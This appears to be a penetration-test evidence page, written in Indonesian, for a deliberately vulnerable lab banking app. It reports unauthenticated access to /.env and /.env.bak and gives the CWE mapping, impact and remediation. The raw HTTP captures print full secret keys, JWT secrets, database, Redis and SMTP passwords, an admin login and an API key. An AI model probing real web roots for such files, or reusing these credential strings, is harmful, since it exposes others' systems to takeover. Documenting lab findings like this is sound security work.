Skenario 14 / 26FAIL

Sensitive Data Exposure - Web Root - Environment Files

Lingkungan lab — bukan sistem produksi

Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.

vuln-bank/Evidence/[FAIL] Sensitive Data Exposure - Web Root - Environment Files

01 — Catatan

Catatan pengujian

Kerentanan

[FAIL] Sensitive Data Exposure - Web Root - Environment Files

Deskripsi

Berkas konfigurasi lingkungan .env dan salinan cadangannya .env.bak disajikan langsung dari web root tanpa autentikasi. Berkas ini memuat kunci rahasia aplikasi, secret JWT, dan kredensial database.

Dampak

Confidentiality (High): penyerang tanpa autentikasi memperoleh SECRET_KEY aplikasi, JWT_SECRET, serta host, nama, pengguna, dan password database. Dengan JWT_SECRET, token sesi apa pun dapat ditempa dengan tanda tangan yang sah, termasuk token administrator. Kredensial database memungkinkan akses langsung ke penyimpanan data bila jaringan database terjangkau.

CWE

CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory

OWASP

A05:2021 - Security Misconfiguration

Skenario

Eksploitasi: permintaan GET biasa ke /.env tanpa autentikasi -> HTTP 200 dengan isi berkas konfigurasi. Berkas cadangan /.env.bak juga tersaji, sehingga konfigurasi lama termasuk kredensial yang mungkin masih berlaku ikut terekspos.

Endpoint

GET http://127.0.0.1:5001/.env GET http://127.0.0.1:5001/.env.bak

Fitur terdampak

Penyajian berkas statis dari web root

Rekomendasi perbaikan

- Jangan menempatkan berkas konfigurasi di dalam web root, dan jangan membuat rute yang menyajikannya. - Blokir akses ke berkas berawalan titik dan berekstensi cadangan pada reverse proxy. - Pindahkan rahasia ke secret manager atau variabel lingkungan yang tidak berupa berkas yang dapat disajikan. - Rotasi SECRET_KEY, JWT_SECRET, dan kredensial database yang telah terekspos.

Bukti konsep

1) (Screenshot 1) EKSPLOITASI: GET /.env tanpa autentikasi -> HTTP 200, SECRET_KEY, JWT_SECRET, dan kredensial database terekspos. 2) (Screenshot 2) DAMPAK CIA: GET /.env.bak -> HTTP 200, salinan cadangan konfigurasi juga dapat diunduh publik.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] Sensitive Data Exposure - Web Root - Environment Files

Description:
Berkas konfigurasi lingkungan .env dan salinan cadangannya .env.bak disajikan langsung dari web root tanpa autentikasi. Berkas ini memuat kunci rahasia aplikasi, secret JWT, dan kredensial database.

Impact:
Confidentiality (High): penyerang tanpa autentikasi memperoleh SECRET_KEY aplikasi, JWT_SECRET, serta host, nama, pengguna, dan password database. Dengan JWT_SECRET, token sesi apa pun dapat ditempa dengan tanda tangan yang sah, termasuk token administrator. Kredensial database memungkinkan akses langsung ke penyimpanan data bila jaringan database terjangkau.

CWE:
CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory

OWASP:
A05:2021 - Security Misconfiguration

Scenario:
Eksploitasi: permintaan GET biasa ke /.env tanpa autentikasi -> HTTP 200 dengan isi berkas konfigurasi. Berkas cadangan /.env.bak juga tersaji, sehingga konfigurasi lama termasuk kredensial yang mungkin masih berlaku ikut terekspos.

Endpoint:
GET http://127.0.0.1:5001/.env
GET http://127.0.0.1:5001/.env.bak

Affected Feature:
Penyajian berkas statis dari web root

Remediation:
- Jangan menempatkan berkas konfigurasi di dalam web root, dan jangan membuat rute yang menyajikannya.
- Blokir akses ke berkas berawalan titik dan berekstensi cadangan pada reverse proxy.
- Pindahkan rahasia ke secret manager atau variabel lingkungan yang tidak berupa berkas yang dapat disajikan.
- Rotasi SECRET_KEY, JWT_SECRET, dan kredensial database yang telah terekspos.

POC:
1) (Screenshot 1) EKSPLOITASI: GET /.env tanpa autentikasi -> HTTP 200, SECRET_KEY, JWT_SECRET, dan kredensial database terekspos.
2) (Screenshot 2) DAMPAK CIA: GET /.env.bak -> HTTP 200, salinan cadangan konfigurasi juga dapat diunduh publik.

02 — Tangkapan layar

Tangkapan layar (2)

01 / 1
02 / 2

03 — Request dan response

Rekaman HTTP

Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.

REKAMAN 01 / 1
HTTP request
GET /.env HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 571
Content-Disposition: inline; filename=".env"
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:21 GMT

APP_ENV=production
FLASK_DEBUG=true
SECRET_KEY=8f6d3e9027474fd8b516ac09e319e2ef
JWT_SECRET=00af85a8f47d41f7bfb9ce45ad1130aa
DB_HOST=vulnbank-db.internal
DB_PORT=5432
DB_NAME=vulnerable_bank
DB_USER=vulnbank_prod
DB_PASSWORD=VbProd_2026_DbAccess!
DATABASE_URL=postgresql://vulnbank_prod:VbProd_2026_DbAccess!@vulnbank-db.internal:5432/vulnerable_bank
REDIS_URL=redis://:VbRedis_2026!@vulnbank-cache.internal:6379/0
DEEPSEEK_API_KEY=ds_live_7f3b9d82c1264ea0a8c77f90
SMTP_HOST=mail.vulnbank.internal
SMTP_PORT=587
SMTP_USER=[REDACTED-EMAIL]
SMTP_PASSWORD=MailRelay_2026!
REKAMAN 02 / 2
HTTP request
GET /.env.bak HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 494
Content-Disposition: inline; filename=".env.bak"
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:22 GMT

APP_ENV=production
FLASK_DEBUG=true
SECRET_KEY=5c78f362be4b4ad8bc395325aa46fe71
JWT_SECRET=9b66150da3e54310923fde26a558ec87
DB_HOST=10.20.30.40
DB_PORT=5432
DB_NAME=vulnerable_bank
DB_USER=vulnbank_admin
DB_PASSWORD=VulnBankAdmin_2025!
DATABASE_URL=postgresql://vulnbank_admin:VulnBankAdmin_2025!@10.20.30.40:5432/vulnerable_bank
ADMIN_USERNAME=ops_admin
ADMIN_PASSWORD=VbOperations_2025!
SMTP_HOST=10.20.30.25
SMTP_PORT=587
SMTP_USER=[REDACTED-EMAIL]
SMTP_PASSWORD=LegacyMail_2025!